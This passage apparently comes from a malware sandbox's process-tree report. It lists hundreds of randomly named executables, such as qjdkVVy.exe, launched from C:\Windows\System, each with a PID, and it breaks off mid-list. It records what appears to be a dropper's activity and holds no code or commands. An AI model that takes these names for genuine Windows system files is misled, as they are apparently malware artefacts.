  C:\Windows\System\nSqmRgg.exe
  2⤵
  PID:16480
- C:\Windows\System\qjdkVVy.exe
  C:\Windows\System\qjdkVVy.exe
  2⤵
  PID:16516
- C:\Windows\System\cHpYxGN.exe
  C:\Windows\System\cHpYxGN.exe
  2⤵
  PID:16536
- C:\Windows\System\VJvnXpy.exe
  C:\Windows\System\VJvnXpy.exe
  2⤵
  PID:16552
- C:\Windows\System\phiFqrA.exe
  C:\Windows\System\phiFqrA.exe
  2⤵
  PID:16576
- C:\Windows\System\gNPuEbh.exe
  C:\Windows\System\gNPuEbh.exe
  2⤵
  PID:16592
- C:\Windows\System\BoONKCJ.exe
  C:\Windows\System\BoONKCJ.exe
  2⤵
  PID:16612
- C:\Windows\System\lPrXZWQ.exe
  C:\Windows\System\lPrXZWQ.exe
  2⤵
  PID:16628
- C:\Windows\System\EbbhRIY.exe
  C:\Windows\System\EbbhRIY.exe
  2⤵
  PID:16648
- C:\Windows\System\ZoSLMia.exe
  C:\Windows\System\ZoSLMia.exe
  2⤵
  PID:16668
- C:\Windows\System\GjrwGWE.exe
  C:\Windows\System\GjrwGWE.exe
  2⤵
  PID:16688
- C:\Windows\System\vZGmZQa.exe
  C:\Windows\System\vZGmZQa.exe
  2⤵
  PID:16708
- C:\Windows\System\TnGPcqV.exe
  C:\Windows\System\TnGPcqV.exe
  2⤵
  PID:16724
- C:\Windows\System\lufweNk.exe
  C:\Windows\System\lufweNk.exe
  2⤵
  PID:16744
- C:\Windows\System\HlDAqdM.exe
  C:\Windows\System\HlDAqdM.exe
  2⤵
  PID:16768
- C:\Windows\System\mGWKwQW.exe
  C:\Windows\System\mGWKwQW.exe
  2⤵
  PID:16792
- C:\Windows\System\OvuZCem.exe
  C:\Windows\System\OvuZCem.exe
  2⤵
  PID:16812
- C:\Windows\System\plXdcJm.exe
  C:\Windows\System\plXdcJm.exe
  2⤵
  PID:16832
- C:\Windows\System\moQQVIg.exe
  C:\Windows\System\moQQVIg.exe
  2⤵
  PID:16852
- C:\Windows\System\OXfNfPS.exe
  C:\Windows\System\OXfNfPS.exe
  2⤵
  PID:16872
- C:\Windows\System\roUCNTG.exe
  C:\Windows\System\roUCNTG.exe
  2⤵
  PID:16896
- C:\Windows\System\LBnnYPD.exe
  C:\Windows\System\LBnnYPD.exe
  2⤵
  PID:16920
- C:\Windows\System\tpqDlLm.exe
  C:\Windows\System\tpqDlLm.exe
  2⤵
  PID:16940
- C:\Windows\System\eijJLdl.exe
  C:\Windows\System\eijJLdl.exe
  2⤵
  PID:16968
- C:\Windows\System\yZWcJpL.exe
  C:\Windows\System\yZWcJpL.exe
  2⤵
  PID:16988
- C:\Windows\System\jPqgAun.exe
  C:\Windows\System\jPqgAun.exe
  2⤵
  PID:17004
- C:\Windows\System\eGZezuk.exe
  C:\Windows\System\eGZezuk.exe
  2⤵
  PID:17028
- C:\Windows\System\chUpLNd.exe
  C:\Windows\System\chUpLNd.exe
  2⤵
  PID:17044
- C:\Windows\System\LfvXhZW.exe
  C:\Windows\System\LfvXhZW.exe
  2⤵
  PID:17160
- C:\Windows\System\nZxEyUW.exe
  C:\Windows\System\nZxEyUW.exe
  2⤵
  PID:17192
- C:\Windows\System\kqWwFSH.exe
  C:\Windows\System\kqWwFSH.exe
  2⤵
  PID:17308
- C:\Windows\System\NOQxYkf.exe
  C:\Windows\System\NOQxYkf.exe
  2⤵
  PID:17348
- C:\Windows\System\XDzPOna.exe
  C:\Windows\System\XDzPOna.exe
  2⤵
  PID:17364
- C:\Windows\System\lPfPDMC.exe
  C:\Windows\System\lPfPDMC.exe
  2⤵
  PID:17384
- C:\Windows\System\sXwaAgw.exe
  C:\Windows\System\sXwaAgw.exe
  2⤵
  PID:17404
- C:\Windows\System\JpNQfcw.exe
  C:\Windows\System\JpNQfcw.exe
  2⤵
  PID:11192
- C:\Windows\System\KFOzeVr.exe
  C:\Windows\System\KFOzeVr.exe
  2⤵
  PID:10788
- C:\Windows\System\SbglPrG.exe
  C:\Windows\System\SbglPrG.exe
  2⤵
  PID:15852
- C:\Windows\System\NvcPxci.exe
  C:\Windows\System\NvcPxci.exe
  2⤵
  PID:16392
- C:\Windows\System\RTdjLrS.exe
  C:\Windows\System\RTdjLrS.exe
  2⤵
  PID:15932
- C:\Windows\System\pIjRsGk.exe
  C:\Windows\System\pIjRsGk.exe
  2⤵
  PID:11992
- C:\Windows\System\SmyJRur.exe
  C:\Windows\System\SmyJRur.exe
  2⤵
  PID:15200
- C:\Windows\System\IWhUPhe.exe
  C:\Windows\System\IWhUPhe.exe
  2⤵
  PID:1828
- C:\Windows\System\MhAhGxs.exe
  C:\Windows\System\MhAhGxs.exe
  2⤵
  PID:2228
- C:\Windows\System\jWMZbHO.exe
  C:\Windows\System\jWMZbHO.exe
  2⤵
  PID:11852
- C:\Windows\System\VfrjGyO.exe
  C:\Windows\System\VfrjGyO.exe
  2⤵
  PID:15788
- C:\Windows\System\TobTkIS.exe
  C:\Windows\System\TobTkIS.exe
  2⤵
  PID:16144
- C:\Windows\System\yBcuIGm.exe
  C:\Windows\System\yBcuIGm.exe
  2⤵
  PID:8284
- C:\Windows\System\NqQqZoy.exe
  C:\Windows\System\NqQqZoy.exe
  2⤵
  PID:5664
- C:\Windows\System\XiqTZMJ.exe
  C:\Windows\System\XiqTZMJ.exe
  2⤵
  PID:3188
- C:\Windows\System\oLzqIMO.exe
  C:\Windows\System\oLzqIMO.exe
  2⤵
  PID:6820
- C:\Windows\System\NOwkiRu.exe
  C:\Windows\System\NOwkiRu.exe
  2⤵
  PID:12052
- C:\Windows\System\nrEbyTZ.exe
  C:\Windows\System\nrEbyTZ.exe
  2⤵
  PID:15720
- C:\Windows\System\VyEpaye.exe
  C:\Windows\System\VyEpaye.exe
  2⤵
  PID:15748
- C:\Windows\System\XLdRlCz.exe
  C:\Windows\System\XLdRlCz.exe
  2⤵
  PID:17060
- C:\Windows\System\FiuXbYK.exe
  C:\Windows\System\FiuXbYK.exe
  2⤵
  PID:17232
- C:\Windows\System\BpiETmO.exe
  C:\Windows\System\BpiETmO.exe
  2⤵
  PID:5196
- C:\Windows\System\tJFGJDR.exe
  C:\Windows\System\tJFGJDR.exe
  2⤵
  PID:12432
- C:\Windows\System\LvoqRHN.exe
  C:\Windows\System\LvoqRHN.exe
  2⤵
  PID:13628
- C:\Windows\System\TGHeGXP.exe
  C:\Windows\System\TGHeGXP.exe
  2⤵
  PID:13712
- C:\Windows\System\cVQSHey.exe
  C:\Windows\System\cVQSHey.exe
  2⤵
  PID:13888
- C:\Windows\System\DfHktGx.exe
  C:\Windows\System\DfHktGx.exe
  2⤵
  PID:16600
- C:\Windows\System\ANmuNPx.exe
  C:\Windows\System\ANmuNPx.exe
  2⤵
  PID:4644
- C:\Windows\System\vhMoUfm.exe
  C:\Windows\System\vhMoUfm.exe
  2⤵
  PID:10536
- C:\Windows\System\bUxoQGW.exe
  C:\Windows\System\bUxoQGW.exe
  2⤵
  PID:5844
- C:\Windows\System\jxaVtOy.exe
  C:\Windows\System\jxaVtOy.exe
  2⤵
  PID:5828
- C:\Windows\System\zMtlulX.exe
  C:\Windows\System\zMtlulX.exe
  2⤵
  PID:9128
- C:\Windows\System\zGGEqFq.exe
  C:\Windows\System\zGGEqFq.exe
  2⤵
  PID:1416
- C:\Windows\System\tqOfuvo.exe
  C:\Windows\System\tqOfuvo.exe
  2⤵
  PID:14044
- C:\Windows\System\wYBpsVO.exe
  C:\Windows\System\wYBpsVO.exe
  2⤵
  PID:15724
- C:\Windows\System\WUqsQfm.exe
  C:\Windows\System\WUqsQfm.exe
  2⤵
  PID:11920
- C:\Windows\System\eMqNgaZ.exe
  C:\Windows\System\eMqNgaZ.exe
  2⤵
  PID:14028
- C:\Windows\System\vYozxWK.exe
  C:\Windows\System\vYozxWK.exe
  2⤵
  PID:12172
- C:\Windows\System\JowKhlh.exe
  C:\Windows\System\JowKhlh.exe
  2⤵
  PID:12140
- C:\Windows\System\wjLmTcw.exe
  C:\Windows\System\wjLmTcw.exe
  2⤵
  PID:14212
- C:\Windows\System\hZhwhjc.exe
  C:\Windows\System\hZhwhjc.exe
  2⤵
  PID:1084
- C:\Windows\System\jzEMztv.exe
  C:\Windows\System\jzEMztv.exe
  2⤵
  PID:13204
- C:\Windows\System\FRtRuAR.exe
  C:\Windows\System\FRtRuAR.exe
  2⤵
  PID:12136
- C:\Windows\System\fczTJvU.exe
  C:\Windows\System\fczTJvU.exe
  2⤵
  PID:15404
- C:\Windows\System\MxShUhe.exe
  C:\Windows\System\MxShUhe.exe
  2⤵
  PID:12648
- C:\Windows\System\evdFWTR.exe
  C:\Windows\System\evdFWTR.exe
  2⤵
  PID:13996
- C:\Windows\System\sSpbqUW.exe
  C:\Windows\System\sSpbqUW.exe
  2⤵
  PID:12564
- C:\Windows\System\EuNUWfE.exe
  C:\Windows\System\EuNUWfE.exe
  2⤵
  PID:13612
- C:\Windows\System\LppcbEf.exe
  C:\Windows\System\LppcbEf.exe
  2⤵
  PID:15420
- C:\Windows\System\IUajZND.exe
  C:\Windows\System\IUajZND.exe
  2⤵
  PID:17040
- C:\Windows\System\vQobtHc.exe
  C:\Windows\System\vQobtHc.exe
  2⤵
  PID:11528
- C:\Windows\System\yvVIPwM.exe
  C:\Windows\System\yvVIPwM.exe
  2⤵
  PID:13068
- C:\Windows\System\qmvhxsk.exe
  C:\Windows\System\qmvhxsk.exe
  2⤵
  PID:17064
- C:\Windows\System\esQjUiQ.exe
  C:\Windows\System\esQjUiQ.exe
  2⤵
  PID:16088
- C:\Windows\System\XVespTJ.exe
  C:\Windows\System\XVespTJ.exe
  2⤵
  PID:15492
- C:\Windows\System\mowBlug.exe
  C:\Windows\System\mowBlug.exe
  2⤵
  PID:16316
- C:\Windows\System\kyayHNE.exe
  C:\Windows\System\kyayHNE.exe
  2⤵
  PID:13140
- C:\Windows\System\qfuWixv.exe
  C:\Windows\System\qfuWixv.exe
  2⤵
  PID:12520
- C:\Windows\System\ybKeGDo.exe
  C:\Windows\System\ybKeGDo.exe
  2⤵
  PID:17104
- C:\Windows\System\hESsHpO.exe
  C:\Windows\System\hESsHpO.exe
  2⤵
  PID:13248
- C:\Windows\System\StIGrSn.exe
  C:\Windows\System\StIGrSn.exe
  2⤵
  PID:13616
- C:\Windows\System\BEgAvMD.exe
  C:\Windows\System\BEgAvMD.exe
  2⤵
  PID:11536
- C:\Windows\System\lmBRfHK.exe
  C:\Windows\System\lmBRfHK.exe
  2⤵
  PID:15396
- C:\Windows\System\XpAfBGK.exe
  C:\Windows\System\XpAfBGK.exe
  2⤵
  PID:13436
- C:\Windows\System\lStucNU.exe
  C:\Windows\System\lStucNU.exe
  2⤵
  PID:11768
- C:\Windows\System\qphFboa.exe
  C:\Windows\System\qphFboa.exe
  2⤵
  PID:13956
- C:\Windows\System\wNZTuVE.exe
  C:\Windows\System\wNZTuVE.exe
  2⤵
  PID:6092
- C:\Windows\System\RuBWDMa.exe
  C:\Windows\System\RuBWDMa.exe
  2⤵
  PID:8564
- C:\Windows\System\CfGuHiG.exe
  C:\Windows\System\CfGuHiG.exe
  2⤵
  PID:5848
- C:\Windows\System\iCOiJgo.exe
  C:\Windows\System\iCOiJgo.exe
  2⤵
  PID:12248
- C:\Windows\System\riaCvnl.exe
  C:\Windows\System\riaCvnl.exe
  2⤵
  PID:14124
- C:\Windows\System\yoRAxbb.exe
  C:\Windows\System\yoRAxbb.exe
  2⤵
  PID:13820
- C:\Windows\System\xXRIyEx.exe
  C:\Windows\System\xXRIyEx.exe
  2⤵
  PID:1184
- C:\Windows\System\ptaPihg.exe
  C:\Windows\System\ptaPihg.exe
  2⤵
  PID:15368
- C:\Windows\System\wFSEEEe.exe
  C:\Windows\System\wFSEEEe.exe
  2⤵
  PID:6260
- C:\Windows\System\BjhUGge.exe
  C:\Windows\System\BjhUGge.exe
  2⤵
  PID:6772
- C:\Windows\System\HLPtlHz.exe
  C:\Windows\System\HLPtlHz.exe
  2⤵
  PID:13912
- C:\Windows\System\cmFwWvn.exe
  C:\Windows\System\cmFwWvn.exe
  2⤵
  PID:16172
- C:\Windows\System\XMorrvk.exe
  C:\Windows\System\XMorrvk.exe
  2⤵
  PID:452
- C:\Windows\System\guySejZ.exe
  C:\Windows\System\guySejZ.exe
  2⤵
  PID:16800
- C:\Windows\System\ZhwXSER.exe
  C:\Windows\System\ZhwXSER.exe
  2⤵
  PID:16472
- C:\Windows\System\thoCeor.exe
  C:\Windows\System\thoCeor.exe
  2⤵
  PID:9420
- C:\Windows\System\ydxHPSu.exe
  C:\Windows\System\ydxHPSu.exe
  2⤵
  PID:2936
- C:\Windows\System\whExnxT.exe
  C:\Windows\System\whExnxT.exe
  2⤵
  PID:15484
- C:\Windows\System\YEyjrRv.exe
  C:\Windows\System\YEyjrRv.exe
  2⤵
  PID:14464
- C:\Windows\System\qsFWuao.exe
  C:\Windows\System\qsFWuao.exe
  2⤵
  PID:13632
- C:\Windows\System\buSPOZj.exe
  C:\Windows\System\buSPOZj.exe
  2⤵
  PID:14200
- C:\Windows\System\JXhnBjB.exe
  C:\Windows\System\JXhnBjB.exe
  2⤵
  PID:13392
- C:\Windows\System\btvBffZ.exe
  C:\Windows\System\btvBffZ.exe
  2⤵
  PID:13672
- C:\Windows\System\ikPUCsW.exe
  C:\Windows\System\ikPUCsW.exe
  2⤵
  PID:3392
- C:\Windows\System\XrnKibj.exe
  C:\Windows\System\XrnKibj.exe
  2⤵
  PID:13208
- C:\Windows\System\lbzFgzS.exe
  C:\Windows\System\lbzFgzS.exe
  2⤵
  PID:14120
- C:\Windows\System\pgoLUBi.exe
  C:\Windows\System\pgoLUBi.exe
  2⤵
  PID:7368
- C:\Windows\System\ZPceiyY.exe
  C:\Windows\System\ZPceiyY.exe
  2⤵
  PID:13196
- C:\Windows\System\RxmHcYF.exe
  C:\Windows\System\RxmHcYF.exe
  2⤵
  PID:15092
- C:\Windows\System\wuZbgbZ.exe
  C:\Windows\System\wuZbgbZ.exe
  2⤵
  PID:16684
- C:\Windows\System\EdMauQi.exe
  C:\Windows\System\EdMauQi.exe
  2⤵
  PID:17236
- C:\Windows\System\tGxokjI.exe
  C:\Windows\System\tGxokjI.exe
  2⤵
  PID:17360
- C:\Windows\System\eToetRE.exe
  C:\Windows\System\eToetRE.exe
  2⤵
  PID:17392
- C:\Windows\System\ktRExuR.exe
  C:\Windows\System\ktRExuR.exe
  2⤵
  PID:5936
- C:\Windows\System\pZqQDgF.exe
  C:\Windows\System\pZqQDgF.exe
  2⤵
  PID:13872
- C:\Windows\System\FKtfRxA.exe
  C:\Windows\System\FKtfRxA.exe
  2⤵
  PID:13600
- C:\Windows\System\JEFVoSo.exe
  C:\Windows\System\JEFVoSo.exe
  2⤵
  PID:14976
- C:\Windows\System\fqlmgbQ.exe
  C:\Windows\System\fqlmgbQ.exe
  2⤵
  PID:4320
- C:\Windows\System\hqCQpeF.exe
  C:\Windows\System\hqCQpeF.exe
  2⤵
  PID:14440
- C:\Windows\System\AYJTais.exe
  C:\Windows\System\AYJTais.exe
  2⤵
  PID:12760
- C:\Windows\System\vyLnQaZ.exe
  C:\Windows\System\vyLnQaZ.exe
  2⤵
  PID:13756
- C:\Windows\System\lsNmUsB.exe
  C:\Windows\System\lsNmUsB.exe
  2⤵
  PID:2348
- C:\Windows\System\MzCWOXo.exe
  C:\Windows\System\MzCWOXo.exe
  2⤵
  PID:15400
- C:\Windows\System\BCdAXqr.exe
  C:\Windows\System\BCdAXqr.exe
  2⤵
  PID:17204
- C:\Windows\System\aOpAjmV.exe
  C:\Windows\System\aOpAjmV.exe
  2⤵
  PID:15268
- C:\Windows\System\IUXlYNU.exe
  C:\Windows\System\IUXlYNU.exe
  2⤵
  PID:15296
- C:\Windows\System\UJKKJFI.exe
  C:\Windows\System\UJKKJFI.exe
  2⤵
  PID:12444
- C:\Windows\System\mtaUWiy.exe
  C:\Windows\System\mtaUWiy.exe
  2⤵
  PID:12932
- C:\Windows\System\JBTlkgY.exe
  C:\Windows\System\JBTlkgY.exe
  2⤵
  PID:6480
- C:\Windows\System\BiWUoxA.exe
  C:\Windows\System\BiWUoxA.exe
  2⤵
  PID:8256
- C:\Windows\System\vKtClAV.exe
  C:\Windows\System\vKtClAV.exe
  2⤵
  PID:11636
- C:\Windows\System\IoUQNvJ.exe
  C:\Windows\System\IoUQNvJ.exe
  2⤵
  PID:15116
- C:\Windows\System\hyBfcuJ.exe
  C:\Windows\System\hyBfcuJ.exe
  2⤵
  PID:15108
- C:\Windows\System\dFKukcy.exe
  C:\Windows\System\dFKukcy.exe
  2⤵
  PID:15776
- C:\Windows\System\TreKkgX.exe
  C:\Windows\System\TreKkgX.exe
  2⤵
  PID:15144
- C:\Windows\System\GgXMXqv.exe
  C:\Windows\System\GgXMXqv.exe
  2⤵
  PID:14008
- C:\Windows\System\dSdmazv.exe
  C:\Windows\System\dSdmazv.exe
  2⤵
  PID:16524
- C:\Windows\System\qaUZEBN.exe
  C:\Windows\System\qaUZEBN.exe
  2⤵
  PID:2880
- C:\Windows\System\rYIbcRZ.exe
  C:\Windows\System\rYIbcRZ.exe
  2⤵
  PID:5996
- C:\Windows\System\iiDPVEm.exe
  C:\Windows\System\iiDPVEm.exe
  2⤵
  PID:15592
- C:\Windows\System\hnjPtQC.exe
  C:\Windows\System\hnjPtQC.exe
  2⤵
  PID:16104
- C:\Windows\System\TpAmaTF.exe
  C:\Windows\System\TpAmaTF.exe
  2⤵
  PID:14204
- C:\Windows\System\zlkbaOO.exe
  C:\Windows\System\zlkbaOO.exe
  2⤵
  PID:17056
- C:\Windows\System\rZEUWdP.exe
  C:\Windows\System\rZEUWdP.exe
  2⤵
  PID:13304
- C:\Windows\System\fpyMlCo.exe
  C:\Windows\System\fpyMlCo.exe
  2⤵
  PID:5988
- C:\Windows\System\AlXuHlE.exe
  C:\Windows\System\AlXuHlE.exe
  2⤵
  PID:4424
- C:\Windows\System\DvQNBOK.exe
  C:\Windows\System\DvQNBOK.exe
  2⤵
  PID:17172
- C:\Windows\System\tBoFzBM.exe
  C:\Windows\System\tBoFzBM.exe
  2⤵
  PID:3552
- C:\Windows\System\oJILzyv.exe
  C:\Windows\System\oJILzyv.exe
  2⤵
  PID:6288
- C:\Windows\System\vElvcJe.exe
  C:\Windows\System\vElvcJe.exe
  2⤵
  PID:13568
- C:\Windows\System\RDiumyv.exe
  C:\Windows\System\RDiumyv.exe
  2⤵
  PID:9432
- C:\Windows\System\PMxuwhQ.exe
  C:\Windows\System\PMxuwhQ.exe
  2⤵
  PID:4196
- C:\Windows\System\dUhXKRy.exe
  C:\Windows\System\dUhXKRy.exe
  2⤵
  PID:8416
- C:\Windows\System\AGbVuWc.exe
  C:\Windows\System\AGbVuWc.exe
  2⤵
  PID:16664
- C:\Windows\System\jIHcrqD.exe
  C:\Windows\System\jIHcrqD.exe
  2⤵
  PID:14548
- C:\Windows\System\VfRFPqx.exe
  C:\Windows\System\VfRFPqx.exe
  2⤵
  PID:14872
- C:\Windows\System\PqbhQwi.exe
  C:\Windows\System\PqbhQwi.exe
  2⤵
  PID:11940
- C:\Windows\System\vToBRua.exe
  C:\Windows\System\vToBRua.exe
  2⤵
  PID:13444
- C:\Windows\System\vBTNKzx.exe
  C:\Windows\System\vBTNKzx.exe
  2⤵
  PID:13744
- C:\Windows\System\CaJZReE.exe
  C:\Windows\System\CaJZReE.exe
  2⤵
  PID:13496
- C:\Windows\System\FzmYMNQ.exe
  C:\Windows\System\FzmYMNQ.exe
  2⤵
  PID:13916
- C:\Windows\System\RWwGHBm.exe
  C:\Windows\System\RWwGHBm.exe
  2⤵
  PID:6120
- C:\Windows\System\nRyEWMj.exe
  C:\Windows\System\nRyEWMj.exe
  2⤵
  PID:11908
- C:\Windows\System\RgnKNxz.exe
  C:\Windows\System\RgnKNxz.exe
  2⤵
  PID:15696
- C:\Windows\System\pPJpuJE.exe
  C:\Windows\System\pPJpuJE.exe
  2⤵
  PID:6676
- C:\Windows\System\tpAGmLi.exe
  C:\Windows\System\tpAGmLi.exe
  2⤵
  PID:16324
- C:\Windows\System\xRuSQit.exe
  C:\Windows\System\xRuSQit.exe
  2⤵
  PID:10680
- C:\Windows\System\pTiySQe.exe
  C:\Windows\System\pTiySQe.exe
  2⤵
  PID:14496
- C:\Windows\System\MJCEPbT.exe
  C:\Windows\System\MJCEPbT.exe
  2⤵
  PID:6036
- C:\Windows\System\jNZoakr.exe
  C:\Windows\System\jNZoakr.exe
  2⤵
  PID:13416
- C:\Windows\System\avdmjiG.exe
  C:\Windows\System\avdmjiG.exe
  2⤵
  PID:17412
- C:\Windows\System\JBLbQir.exe
  C:\Windows\System\JBLbQir.exe
  2⤵
  PID:17432
- C:\Windows\System\LZsZBfQ.exe
  C:\Windows\System\LZsZBfQ.exe
  2⤵
  PID:17452
- C:\Windows\System\AQQYJsp.exe
  C:\Windows\System\AQQYJsp.exe
  2⤵
  PID:17468
- C:\Windows\System\zhVqafa.exe
  C:\Windows\System\zhVqafa.exe
  2⤵
  PID:17484
- C:\Windows\System\yGFBgFz.exe
  C:\Windows\System\yGFBgFz.exe
  2⤵
  PID:17500
- C:\Windows\System\vMruSAy.exe
  C:\Windows\System\vMruSAy.exe
  2⤵
  PID:17516
- C:\Windows\System\tCicMyP.exe
  C:\Windows\System\tCicMyP.exe
  2⤵
  PID:17536
- C:\Windows\System\YDrgsHw.exe
  C:\Windows\System\YDrgsHw.exe
  2⤵
  PID:17552
- C:\Windows\System\KKYaAYn.exe
  C:\Windows\System\KKYaAYn.exe
  2⤵
  PID:17572
- C:\Windows\System\OrfxpBD.exe
  C:\Windows\System\OrfxpBD.exe
  2⤵
  PID:17592
- C:\Windows\System\pjSwhjF.exe
  C:\Windows\System\pjSwhjF.exe
  2⤵
  PID:17616
- C:\Windows\System\klmTVck.exe
  C:\Windows\System\klmTVck.exe
  2⤵
  PID:17648
- C:\Windows\System\sJnGLEw.exe
  C:\Windows\System\sJnGLEw.exe
  2⤵
  PID:17672
- C:\Windows\System\vMlAmja.exe
  C:\Windows\System\vMlAmja.exe
  2⤵
  PID:17820
- C:\Windows\System\Yiwidyp.exe
  C:\Windows\System\Yiwidyp.exe
  2⤵
  PID:17852
- C:\Windows\System\QImwtDW.exe
  C:\Windows\System\QImwtDW.exe
  2⤵
  PID:17868
- C:\Windows\System\BuRWwBZ.exe
  C:\Windows\System\BuRWwBZ.exe
  2⤵
  PID:17884
- C:\Windows\System\tynGjyG.exe
  C:\Windows\System\tynGjyG.exe
  2⤵
  PID:17904
- C:\Windows\System\SHhWrwx.exe
  C:\Windows\System\SHhWrwx.exe
  2⤵
  PID:17932
- C:\Windows\System\nSLzzCj.exe
  C:\Windows\System\nSLzzCj.exe
  2⤵
  PID:17956
- C:\Windows\System\nCIROBd.exe
  C:\Windows\System\nCIROBd.exe
  2⤵
  PID:17980
- C:\Windows\System\lThareU.exe
  C:\Windows\System\lThareU.exe
  2⤵
  PID:18000
- C:\Windows\System\JZRScEa.exe
  C:\Windows\System\JZRScEa.exe
  2⤵
  PID:18024
- C:\Windows\System\ExhrOpV.exe
  C:\Windows\System\ExhrOpV.exe
  2⤵
  PID:18048
- C:\Windows\System\MNMvrvC.exe
  C:\Windows\System\MNMvrvC.exe
  2⤵
  PID:18072
- C:\Windows\System\TmsjsDY.exe
  C:\Windows\System\TmsjsDY.exe
  2⤵
  PID:18096
- C:\Windows\System\SPrNbxl.exe
  C:\Windows\System\SPrNbxl.exe
  2⤵
  PID:18112
- C:\Windows\System\EWxVFDn.exe
  C:\Windows\System\EWxVFDn.exe
  2⤵
  PID:18136
- C:\Windows\System\qFJyPhm.exe
  C:\Windows\System\qFJyPhm.exe
  2⤵
  PID:18152
- C:\Windows\System\lncwXLj.exe
  C:\Windows\System\lncwXLj.exe
  2⤵
  PID:18172
- C:\Windows\System\zQCbybX.exe
  C:\Windows\System\zQCbybX.exe
  2⤵
  PID:18200
- C:\Windows\System\FiuBnaW.exe
  C:\Windows\System\FiuBnaW.exe
  2⤵
  PID:18220
- C:\Windows\System\pPFlPgO.exe
  C:\Windows\System\pPFlPgO.exe
  2⤵
  PID:18236
- C:\Windows\System\JpvKxaU.exe
  C:\Windows\System\JpvKxaU.exe
  2⤵
  PID:18252
- C:\Windows\System\KbacgxJ.exe
  C:\Windows\System\KbacgxJ.exe
  2⤵
  PID:18276
- C:\Windows\System\MeOXQbR.exe
  C:\Windows\System\MeOXQbR.exe
  2⤵
  PID:18292
- C:\Windows\System\flxfHPo.exe
  C:\Windows\System\flxfHPo.exe
  2⤵
  PID:18312
- C:\Windows\System\hzGfoTB.exe
  C:\Windows\System\hzGfoTB.exe
  2⤵
  PID:18336
- C:\Windows\System\skSGJRZ.exe
  C:\Windows\System\skSGJRZ.exe
  2⤵
  PID:18356
- C:\Windows\System\kWcZRIs.exe
  C:\Windows\System\kWcZRIs.exe
  2⤵
  PID:18380
- C:\Windows\System\nWhTBhS.exe
  C:\Windows\System\nWhTBhS.exe
  2⤵
  PID:18408
- C:\Windows\System\BNrVGiD.exe
  C:\Windows\System\BNrVGiD.exe
  2⤵
  PID:18428
- C:\Windows\System\KqDleqF.exe
  C:\Windows\System\KqDleqF.exe
  2⤵
  PID:13640
- C:\Windows\System\KlFOyQG.exe
  C:\Windows\System\KlFOyQG.exe
  2⤵
  PID:8620
- C:\Windows\System\GeKqIWg.exe
  C:\Windows\System\GeKqIWg.exe
  2⤵
  PID:3884
- C:\Windows\System\AFamcyE.exe
  C:\Windows\System\AFamcyE.exe
  2⤵
  PID:13684
- C:\Windows\System\epfXIBC.exe
  C:\Windows\System\epfXIBC.exe
  2⤵
  PID:9036
- C:\Windows\System\ruDIMKu.exe
  C:\Windows\System\ruDIMKu.exe
  2⤵
  PID:17260
- C:\Windows\System\luspMpI.exe
  C:\Windows\System\luspMpI.exe
  2⤵
  PID:14988
- C:\Windows\System\PrsfmST.exe
  C:\Windows\System\PrsfmST.exe
  2⤵
  PID:16068
- C:\Windows\System\hpyTjTf.exe
  C:\Windows\System\hpyTjTf.exe
  2⤵
  PID:17728
- C:\Windows\System\jMhlSCC.exe
  C:\Windows\System\jMhlSCC.exe
  2⤵
  PID:3912
- C:\Windows\System\IuvstRg.exe
  C:\Windows\System\IuvstRg.exe
  2⤵
  PID:13728
- C:\Windows\System\aIGkMoe.exe
  C:\Windows\System\aIGkMoe.exe
  2⤵
  PID:2604
- C:\Windows\System\dtefjFS.exe
  C:\Windows\System\dtefjFS.exe
  2⤵
  PID:14468
- C:\Windows\System\luIhCyT.exe
  C:\Windows\System\luIhCyT.exe
  2⤵
  PID:13812
- C:\Windows\System\bxXzygN.exe
  C:\Windows\System\bxXzygN.exe
  2⤵
  PID:18168
- C:\Windows\System\eyUcTLF.exe
  C:\Windows\System\eyUcTLF.exe
  2⤵
  PID:10080
- C:\Windows\System\rPPxVhM.exe
  C:\Windows\System\rPPxVhM.exe
  2⤵
  PID:18392
- C:\Windows\System\nnpwbIu.exe
  C:\Windows\System\nnpwbIu.exe
  2⤵
  PID:10252
- C:\Windows\System\FMbzQOI.exe
  C:\Windows\System\FMbzQOI.exe
  2⤵
  PID:7664
- C:\Windows\System\sWnlwyh.exe
  C:\Windows\System\sWnlwyh.exe
  2⤵
  PID:7408
- C:\Windows\System\NxDqTwj.exe
  C:\Windows\System\NxDqTwj.exe
  2⤵
  PID:14056
- C:\Windows\System\AvYvhwN.exe
  C:\Windows\System\AvYvhwN.exe
  2⤵
  PID:18376
- C:\Windows\System\XNugJPf.exe
  C:\Windows\System\XNugJPf.exe
  2⤵
  PID:9960
- C:\Windows\System\CEGJFdj.exe
  C:\Windows\System\CEGJFdj.exe
  2⤵
  PID:18440
- C:\Windows\System\FVSmFya.exe
  C:\Windows\System\FVSmFya.exe
  2⤵
  PID:18460
- C:\Windows\System\NaWDPGj.exe
  C:\Windows\System\NaWDPGj.exe
  2⤵
  PID:18476
- C:\Windows\System\MnKdunC.exe
  C:\Windows\System\MnKdunC.exe
  2⤵
  PID:18496
- C:\Windows\System\rhrqZsq.exe
  C:\Windows\System\rhrqZsq.exe
  2⤵
  PID:18568
- C:\Windows\System\DCbDxkY.exe
  C:\Windows\System\DCbDxkY.exe
  2⤵
  PID:18696
- C:\Windows\System\wMFNbmT.exe
  C:\Windows\System\wMFNbmT.exe
  2⤵
  PID:18716
- C:\Windows\System\sIaLuJm.exe
  C:\Windows\System\sIaLuJm.exe
  2⤵
  PID:18740
- C:\Windows\System\hHGUKEg.exe
  C:\Windows\System\hHGUKEg.exe
  2⤵
  PID:18756
- C:\Windows\System\CeStgDE.exe
  C:\Windows\System\CeStgDE.exe
  2⤵
  PID:18772
- C:\Windows\System\uqQDrXY.exe
  C:\Windows\System\uqQDrXY.exe
  2⤵
  PID:18796
- C:\Windows\System\RrQmfSK.exe
  C:\Windows\System\RrQmfSK.exe
  2⤵
  PID:18820
- C:\Windows\System\BWrPBeB.exe
  C:\Windows\System\BWrPBeB.exe
  2⤵
  PID:18840
- C:\Windows\System\ZSUJVtM.exe
  C:\Windows\System\ZSUJVtM.exe
  2⤵
  PID:18860
- C:\Windows\System\xfbmXOH.exe
  C:\Windows\System\xfbmXOH.exe
  2⤵
  PID:18876
- C:\Windows\System\bAASbdz.exe
  C:\Windows\System\bAASbdz.exe
  2⤵
  PID:18892
- C:\Windows\System\KmxCpvC.exe
  C:\Windows\System\KmxCpvC.exe
  2⤵
  PID:18924
- C:\Windows\System\AlrwQll.exe
  C:\Windows\System\AlrwQll.exe
  2⤵
  PID:18952
- C:\Windows\System\ofiENuL.exe
  C:\Windows\System\ofiENuL.exe
  2⤵
  PID:18968
- C:\Windows\System\xVUyyMm.exe
